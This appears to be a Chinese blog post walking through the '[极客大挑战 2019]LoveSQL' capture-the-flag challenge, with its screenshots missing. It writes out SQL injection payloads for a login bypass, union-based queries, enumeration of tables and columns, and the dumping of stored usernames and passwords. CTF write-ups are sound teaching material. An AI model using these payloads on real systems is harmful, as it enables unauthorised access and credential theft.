Title

[极客大挑战 2019]LoveSQL

[极客大挑战 2019]LoveSQL

1、 通过万能密码进行登录尝试,name:’ or 1=1#,password:’ or 1=1#,登录成功,结果如下:

  

2、 观察地址栏,尝试进行sql注入,sql注入先进行尝试判断注入点(第一步已经很明显的存在注入),然后判断列数,payload:admin' order by 3#&password=1,结果如下:

  

  

3、进行联合查询注入,先查看哪些信息可以在下面进行展示,然后进行获取数据库信息、用户信息、版本信息,payload:1' union select 1,2,3#&password=1结果如下:

  

  

4、继续修改2、3处的信息,通过数据库名称获取数据库内的表的名称,payload:username=1’ union select group_concat(table_name),2 from information_schema.tables where table_schema='geek'结果如下:

  

5、通过获得的表的名称来获取表内列的名称,payload:union+select+1,group_concat(column_name),3+from+information_schema.columns+where+table_name='l0ve1ysq1'%23&password=1结果如下:

  

6、通过取得的列明信息获取表内的数据,payload:union+select+1,group_concat(username),group_concat(password)+from+l0ve1ysq1%23&password=1,如果觉得显示不够直观就邮件源代码或不要输出username,即把group_concat(username)去掉,结果如下:

  

  

 补充:最后一步也可以通过脚本利用:union+select+1,group_concat(username),group_concat(password)+from+l0ve1ysq1+limit+1,1%23&password=1,来通过修改limit的参数来进行获取flag。

posted @ 2022-05-30 14:40  upfine  阅读(422)  评论(0)    收藏  举报